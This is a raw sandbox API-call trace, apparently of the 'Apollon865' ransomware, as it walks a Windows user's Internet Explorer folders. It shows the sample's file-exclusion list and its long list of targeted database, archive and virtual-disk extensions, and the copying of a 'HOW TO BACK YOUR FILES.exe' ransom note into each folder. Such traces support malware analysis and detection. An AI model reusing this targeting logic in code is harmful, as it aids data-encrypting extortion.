	[0046.285] lstrlenW (lpString="DOMStore") returned 8
	[0046.285] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt") returned 83
	[0046.285] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="DOMStore" | out: lpString1="DOMStore") returned="DOMStore"
	[0046.285] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ca8
	[0046.285] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa2) returned 0x599d28
	[0046.285] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7cb0 | out: ListHead=0x5b76b0, ListEntry=0x5b7cb0) returned 0x5b7c90
	[0046.285] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x65d58120, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65d58120, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65d58120, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x23f4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="frameiconcache.dat", cAlternateFileName="FRAMEI~1.DAT")) returned 1
	[0046.285] lstrcmpiW (lpString1="frameiconcache.dat", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.285] lstrcmpiW (lpString1="frameiconcache.dat", lpString2="Apollon865.txt.exe") returned 1
	[0046.285] lstrcmpiW (lpString1="frameiconcache.dat", lpString2=".") returned 1
	[0046.285] lstrcmpiW (lpString1="frameiconcache.dat", lpString2="..") returned 1
	[0046.285] lstrcmpiW (lpString1="frameiconcache.dat", lpString2="windows") returned -1
	[0046.285] lstrcmpiW (lpString1="frameiconcache.dat", lpString2="bootmgr") returned 1
	[0046.285] lstrcmpiW (lpString1="frameiconcache.dat", lpString2="temp") returned -1
	[0046.285] lstrcmpiW (lpString1="frameiconcache.dat", lpString2="pagefile.sys") returned -1
	[0046.285] lstrcmpiW (lpString1="frameiconcache.dat", lpString2="boot") returned 1
	[0046.285] lstrcmpiW (lpString1="frameiconcache.dat", lpString2="ids.txt") returned -1
	[0046.285] lstrcmpiW (lpString1="frameiconcache.dat", lpString2="ntuser.dat") returned -1
	[0046.285] lstrcmpiW (lpString1="frameiconcache.dat", lpString2="perflogs") returned -1
	[0046.285] lstrcmpiW (lpString1="frameiconcache.dat", lpString2="MSBuild") returned -1
	[0046.285] lstrlenW (lpString="frameiconcache.dat") returned 18
	[0046.286] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore") returned 80
	[0046.286] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="frameiconcache.dat" | out: lpString1="frameiconcache.dat") returned="frameiconcache.dat"
	[0046.286] lstrlenW (lpString="frameiconcache.dat") returned 18
	[0046.286] lstrlenW (lpString="Apollon865") returned 10
	[0046.286] lstrcmpiW (lpString1="ncache.dat", lpString2="Apollon865") returned 1
	[0046.286] lstrlenW (lpString=".dll") returned 4
	[0046.286] lstrcmpiW (lpString1="frameiconcache.dat", lpString2=".dll") returned 1
	[0046.286] lstrlenW (lpString=".lnk") returned 4
	[0046.286] lstrcmpiW (lpString1="frameiconcache.dat", lpString2=".lnk") returned 1
	[0046.286] lstrlenW (lpString=".ini") returned 4
	[0046.286] lstrcmpiW (lpString1="frameiconcache.dat", lpString2=".ini") returned 1
	[0046.286] lstrlenW (lpString=".sys") returned 4
	[0046.286] lstrcmpiW (lpString1="frameiconcache.dat", lpString2=".sys") returned 1
	[0046.286] lstrlenW (lpString="frameiconcache.dat") returned 18
	[0046.286] lstrlenW (lpString="bak") returned 3
	[0046.286] lstrcmpiW (lpString1="dat", lpString2="bak") returned 1
	[0046.286] lstrlenW (lpString="ba_") returned 3
	[0046.286] lstrcmpiW (lpString1="dat", lpString2="ba_") returned 1
	[0046.286] lstrlenW (lpString="dbb") returned 3
	[0046.286] lstrcmpiW (lpString1="dat", lpString2="dbb") returned -1
	[0046.286] lstrlenW (lpString="vmdk") returned 4
	[0046.286] lstrcmpiW (lpString1=".dat", lpString2="vmdk") returned -1
	[0046.286] lstrlenW (lpString="rar") returned 3
	[0046.286] lstrcmpiW (lpString1="dat", lpString2="rar") returned -1
	[0046.286] lstrlenW (lpString="zip") returned 3
	[0046.286] lstrcmpiW (lpString1="dat", lpString2="zip") returned -1
	[0046.286] lstrlenW (lpString="tgz") returned 3
	[0046.286] lstrcmpiW (lpString1="dat", lpString2="tgz") returned -1
	[0046.286] lstrlenW (lpString="vbox") returned 4
	[0046.286] lstrcmpiW (lpString1=".dat", lpString2="vbox") returned -1
	[0046.286] lstrlenW (lpString="vdi") returned 3
	[0046.286] lstrcmpiW (lpString1="dat", lpString2="vdi") returned -1
	[0046.286] lstrlenW (lpString="vhd") returned 3
	[0046.287] lstrcmpiW (lpString1="dat", lpString2="vhd") returned -1
	[0046.287] lstrlenW (lpString="vhdx") returned 4
	[0046.287] lstrcmpiW (lpString1=".dat", lpString2="vhdx") returned -1
	[0046.287] lstrlenW (lpString="avhd") returned 4
	[0046.287] lstrcmpiW (lpString1=".dat", lpString2="avhd") returned -1
	[0046.287] lstrlenW (lpString="db") returned 2
	[0046.287] lstrcmpiW (lpString1="at", lpString2="db") returned -1
	[0046.287] lstrlenW (lpString="db2") returned 3
	[0046.287] lstrcmpiW (lpString1="dat", lpString2="db2") returned -1
	[0046.287] lstrlenW (lpString="db3") returned 3
	[0046.287] lstrcmpiW (lpString1="dat", lpString2="db3") returned -1
	[0046.287] lstrlenW (lpString="dbf") returned 3
	[0046.287] lstrcmpiW (lpString1="dat", lpString2="dbf") returned -1
	[0046.287] lstrlenW (lpString="mdf") returned 3
	[0046.287] lstrcmpiW (lpString1="dat", lpString2="mdf") returned -1
	[0046.287] lstrlenW (lpString="mdb") returned 3
	[0046.287] lstrcmpiW (lpString1="dat", lpString2="mdb") returned -1
	[0046.287] lstrlenW (lpString="sql") returned 3
	[0046.287] lstrcmpiW (lpString1="dat", lpString2="sql") returned -1
	[0046.287] lstrlenW (lpString="sqlite") returned 6
	[0046.287] lstrcmpiW (lpString1="he.dat", lpString2="sqlite") returned -1
	[0046.287] lstrlenW (lpString="sqlite3") returned 7
	[0046.287] lstrcmpiW (lpString1="che.dat", lpString2="sqlite3") returned -1
	[0046.287] lstrlenW (lpString="sqlitedb") returned 8
	[0046.287] lstrcmpiW (lpString1="ache.dat", lpString2="sqlitedb") returned -1
	[0046.287] lstrlenW (lpString="xml") returned 3
	[0046.287] lstrcmpiW (lpString1="dat", lpString2="xml") returned -1
	[0046.287] lstrlenW (lpString="$er") returned 3
	[0046.287] lstrcmpiW (lpString1="dat", lpString2="$er") returned 1
	[0046.287] lstrlenW (lpString="4dd") returned 3
	[0046.287] lstrcmpiW (lpString1="dat", lpString2="4dd") returned 1
	[0046.287] lstrlenW (lpString="4dl") returned 3
	[0046.287] lstrcmpiW (lpString1="dat", lpString2="4dl") returned 1
	[0046.287] lstrlenW (lpString="^^^") returned 3
	[0046.287] lstrcmpiW (lpString1="dat", lpString2="^^^") returned 1
	[0046.288] lstrlenW (lpString="abs") returned 3
	[0046.288] lstrcmpiW (lpString1="dat", lpString2="abs") returned 1
	[0046.288] lstrlenW (lpString="abx") returned 3
	[0046.288] lstrcmpiW (lpString1="dat", lpString2="abx") returned 1
	[0046.288] lstrlenW (lpString="accdb") returned 5
	[0046.288] lstrcmpiW (lpString1="e.dat", lpString2="accdb") returned 1
	[0046.288] lstrlenW (lpString="accdc") returned 5
	[0046.288] lstrcmpiW (lpString1="e.dat", lpString2="accdc") returned 1
	[0046.288] lstrlenW (lpString="accde") returned 5
	[0046.288] lstrcmpiW (lpString1="e.dat", lpString2="accde") returned 1
	[0046.288] lstrlenW (lpString="accdr") returned 5
	[0046.288] lstrcmpiW (lpString1="e.dat", lpString2="accdr") returned 1
	[0046.288] lstrlenW (lpString="accdt") returned 5
	[0046.288] lstrcmpiW (lpString1="e.dat", lpString2="accdt") returned 1
	[0046.288] lstrlenW (lpString="accdw") returned 5
	[0046.288] lstrcmpiW (lpString1="e.dat", lpString2="accdw") returned 1
	[0046.288] lstrlenW (lpString="accft") returned 5
	[0046.288] lstrcmpiW (lpString1="e.dat", lpString2="accft") returned 1
	[0046.288] lstrlenW (lpString="adb") returned 3
	[0046.288] lstrcmpiW (lpString1="dat", lpString2="adb") returned 1
	[0046.288] lstrlenW (lpString="adb") returned 3
	[0046.288] lstrcmpiW (lpString1="dat", lpString2="adb") returned 1
	[0046.288] lstrlenW (lpString="ade") returned 3
	[0046.288] lstrcmpiW (lpString1="dat", lpString2="ade") returned 1
	[0046.288] lstrlenW (lpString="adf") returned 3
	[0046.288] lstrcmpiW (lpString1="dat", lpString2="adf") returned 1
	[0046.288] lstrlenW (lpString="adn") returned 3
	[0046.288] lstrcmpiW (lpString1="dat", lpString2="adn") returned 1
	[0046.288] lstrlenW (lpString="adp") returned 3
	[0046.288] lstrcmpiW (lpString1="dat", lpString2="adp") returned 1
	[0046.288] lstrlenW (lpString="alf") returned 3
	[0046.288] lstrcmpiW (lpString1="dat", lpString2="alf") returned 1
	[0046.288] lstrlenW (lpString="ask") returned 3
	[0046.288] lstrcmpiW (lpString1="dat", lpString2="ask") returned 1
	[0046.288] lstrlenW (lpString="btr") returned 3
	[0046.288] lstrcmpiW (lpString1="dat", lpString2="btr") returned 1
	[0046.289] lstrlenW (lpString="cat") returned 3
	[0046.289] lstrcmpiW (lpString1="dat", lpString2="cat") returned 1
	[0046.289] lstrlenW (lpString="cdb") returned 3
	[0046.289] lstrcmpiW (lpString1="dat", lpString2="cdb") returned 1
	[0046.289] lstrlenW (lpString="ckp") returned 3
	[0046.289] lstrcmpiW (lpString1="dat", lpString2="ckp") returned 1
	[0046.289] lstrlenW (lpString="cma") returned 3
	[0046.289] lstrcmpiW (lpString1="dat", lpString2="cma") returned 1
	[0046.289] lstrlenW (lpString="cpd") returned 3
	[0046.289] lstrcmpiW (lpString1="dat", lpString2="cpd") returned 1
	[0046.289] lstrlenW (lpString="dacpac") returned 6
	[0046.289] lstrcmpiW (lpString1="he.dat", lpString2="dacpac") returned 1
	[0046.289] lstrlenW (lpString="dad") returned 3
	[0046.289] lstrcmpiW (lpString1="dat", lpString2="dad") returned 1
	[0046.289] lstrlenW (lpString="dadiagrams") returned 10
	[0046.289] lstrcmpiW (lpString1="ncache.dat", lpString2="dadiagrams") returned 1
	[0046.289] lstrlenW (lpString="daschema") returned 8
	[0046.289] lstrcmpiW (lpString1="ache.dat", lpString2="daschema") returned -1
	[0046.289] lstrlenW (lpString="db-journal") returned 10
	[0046.289] lstrcmpiW (lpString1="ncache.dat", lpString2="db-journal") returned 1
	[0046.289] lstrlenW (lpString="db-shm") returned 6
	[0046.289] lstrcmpiW (lpString1="he.dat", lpString2="db-shm") returned 1
	[0046.289] lstrlenW (lpString="db-wal") returned 6
	[0046.289] lstrcmpiW (lpString1="he.dat", lpString2="db-wal") returned 1
	[0046.289] lstrlenW (lpString="dbc") returned 3
	[0046.289] lstrcmpiW (lpString1="dat", lpString2="dbc") returned -1
	[0046.289] lstrlenW (lpString="dbs") returned 3
	[0046.289] lstrcmpiW (lpString1="dat", lpString2="dbs") returned -1
	[0046.289] lstrlenW (lpString="dbt") returned 3
	[0046.289] lstrcmpiW (lpString1="dat", lpString2="dbt") returned -1
	[0046.289] lstrlenW (lpString="dbv") returned 3
	[0046.289] lstrcmpiW (lpString1="dat", lpString2="dbv") returned -1
	[0046.289] lstrlenW (lpString="dbx") returned 3
	[0046.290] lstrcmpiW (lpString1="dat", lpString2="dbx") returned -1
	[0046.290] lstrlenW (lpString="dcb") returned 3
	[0046.290] lstrcmpiW (lpString1="dat", lpString2="dcb") returned -1
	[0046.290] lstrcmpiW (lpString1="dat", lpString2="dct") returned -1
	[0046.290] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="MSIMGSIZ.DAT" | out: lpString1="MSIMGSIZ.DAT") returned="MSIMGSIZ.DAT"
	[0046.290] lstrlenW (lpString="MSIMGSIZ.DAT") returned 12
	[0046.290] lstrlenW (lpString="Apollon865") returned 10
	[0046.290] lstrcmpiW (lpString1="IMGSIZ.DAT", lpString2="Apollon865") returned 1
	[0046.290] lstrlenW (lpString=".dll") returned 4
	[0046.290] lstrcmpiW (lpString1="MSIMGSIZ.DAT", lpString2=".dll") returned 1
	[0046.290] lstrlenW (lpString=".lnk") returned 4
	[0046.290] lstrcmpiW (lpString1="MSIMGSIZ.DAT", lpString2=".lnk") returned 1
	[0046.290] lstrlenW (lpString=".ini") returned 4
	[0046.290] lstrcmpiW (lpString1="MSIMGSIZ.DAT", lpString2=".ini") returned 1
	[0046.290] lstrlenW (lpString=".sys") returned 4
	[0046.290] lstrcmpiW (lpString1="MSIMGSIZ.DAT", lpString2=".sys") returned 1
	[0046.290] lstrlenW (lpString="MSIMGSIZ.DAT") returned 12
	[0046.290] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="Recovery" | out: lpString1="Recovery") returned="Recovery"
	[0046.290] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fbe8
	[0046.290] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa2) returned 0x599450
	[0046.290] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fbf0 | out: ListHead=0x5b76b0, ListEntry=0x59fbf0) returned 0x5b7cb0
	[0046.290] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4ed4ae10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6db5fbe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6db5fbe0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recovery", cAlternateFileName="")) returned 0
	[0046.290] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0046.290] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fbf0
	[0046.290] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery"
	[0046.290] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0046.291] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fbe8 | out: hHeap=0x580000) returned 1
	[0046.291] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery") returned 80
	[0046.291] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery"
	[0046.291] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0046.291] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\recovery\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0046.294] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0046.294] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4ed4ae10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x33aa8390, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x33aa8390, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0046.295] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.295] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0046.295] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0046.295] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4ed4ae10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x33aa8390, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x33aa8390, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0046.295] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.295] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0046.295] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0046.295] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0046.295] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4ed70f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x2bc84b10, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x2bc84b10, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Active", cAlternateFileName="")) returned 1
	[0046.295] lstrcmpiW (lpString1="Active", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.295] lstrcmpiW (lpString1="Active", lpString2="Apollon865.txt.exe") returned -1
	[0046.295] lstrcmpiW (lpString1="Active", lpString2=".") returned 1
	[0046.295] lstrcmpiW (lpString1="Active", lpString2="..") returned 1
	[0046.295] lstrcmpiW (lpString1="Active", lpString2="windows") returned -1
	[0046.295] lstrcmpiW (lpString1="Active", lpString2="bootmgr") returned -1
	[0046.295] lstrcmpiW (lpString1="Active", lpString2="temp") returned -1
	[0046.295] lstrcmpiW (lpString1="Active", lpString2="pagefile.sys") returned -1
	[0046.295] lstrcmpiW (lpString1="Active", lpString2="boot") returned -1
	[0046.295] lstrcmpiW (lpString1="Active", lpString2="ids.txt") returned -1
	[0046.295] lstrcmpiW (lpString1="Active", lpString2="ntuser.dat") returned -1
	[0046.295] lstrcmpiW (lpString1="Active", lpString2="perflogs") returned -1
	[0046.295] lstrcmpiW (lpString1="Active", lpString2="MSBuild") returned -1
	[0046.295] lstrlenW (lpString="Active") returned 6
	[0046.295] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\*") returned 82
	[0046.295] lstrcpyW (in: lpString1=0x2d3e5f2, lpString2="Active" | out: lpString1="Active") returned="Active"
	[0046.296] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fbe8
	[0046.296] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xb0) returned 0x599450
	[0046.296] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fbf0 | out: ListHead=0x5b76b0, ListEntry=0x59fbf0) returned 0x5b7cb0
	[0046.296] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33aa8390, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x33aa8390, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0046.296] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0046.296] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6db5fbe0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x30603250, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x30603250, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Last Active", cAlternateFileName="LASTAC~1")) returned 1
	[0046.296] lstrcmpiW (lpString1="Last Active", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0046.296] lstrcmpiW (lpString1="Last Active", lpString2="Apollon865.txt.exe") returned 1
	[0046.296] lstrcmpiW (lpString1="Last Active", lpString2=".") returned 1
	[0046.296] lstrcmpiW (lpString1="Last Active", lpString2="..") returned 1
	[0046.296] lstrcmpiW (lpString1="Last Active", lpString2="windows") returned -1
	[0046.296] lstrcmpiW (lpString1="Last Active", lpString2="bootmgr") returned 1
	[0046.296] lstrcmpiW (lpString1="Last Active", lpString2="temp") returned -1
	[0046.296] lstrcmpiW (lpString1="Last Active", lpString2="pagefile.sys") returned -1
	[0046.296] lstrcmpiW (lpString1="Last Active", lpString2="boot") returned 1
	[0046.296] lstrcmpiW (lpString1="Last Active", lpString2="ids.txt") returned 1
	[0046.296] lstrcmpiW (lpString1="Last Active", lpString2="ntuser.dat") returned -1
	[0046.296] lstrcmpiW (lpString1="Last Active", lpString2="perflogs") returned -1
	[0046.296] lstrcmpiW (lpString1="Last Active", lpString2="MSBuild") returned -1
	[0046.296] lstrlenW (lpString="Last Active") returned 11
	[0046.296] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Active") returned 87
	[0046.296] lstrcpyW (in: lpString1=0x2d3e5f2, lpString2="Last Active" | out: lpString1="Last Active") returned="Last Active"
	[0046.296] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc08
	[0046.296] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xba) returned 0x5aa638
	[0046.296] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc10 | out: ListHead=0x5b76b0, ListEntry=0x59fc10) returned 0x59fbf0
	[0046.296] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6db5fbe0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x30603250, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x30603250, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Last Active", cAlternateFileName="LASTAC~1")) returned 0
	[0046.296] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0046.296] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fc10
	[0046.296] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active"
	[0046.296] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5aa638 | out: hHeap=0x580000) returned 1
	[0046.297] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc08 | out: hHeap=0x580000) returned 1
	[0046.297] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active") returned 92
	[0046.297] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active"
	[0046.297] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0046.297] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\recovery\\last active\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0046.305] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0046.305] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6db5fbe0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x33ace4f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x33ace4f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0046.305] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.305] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0046.305] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0046.306] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6db5fbe0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x33ace4f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x33ace4f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0046.306] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.306] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0046.306] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0046.306] lstrcmpiW (lpString1="..", lpString2="..") returned 0
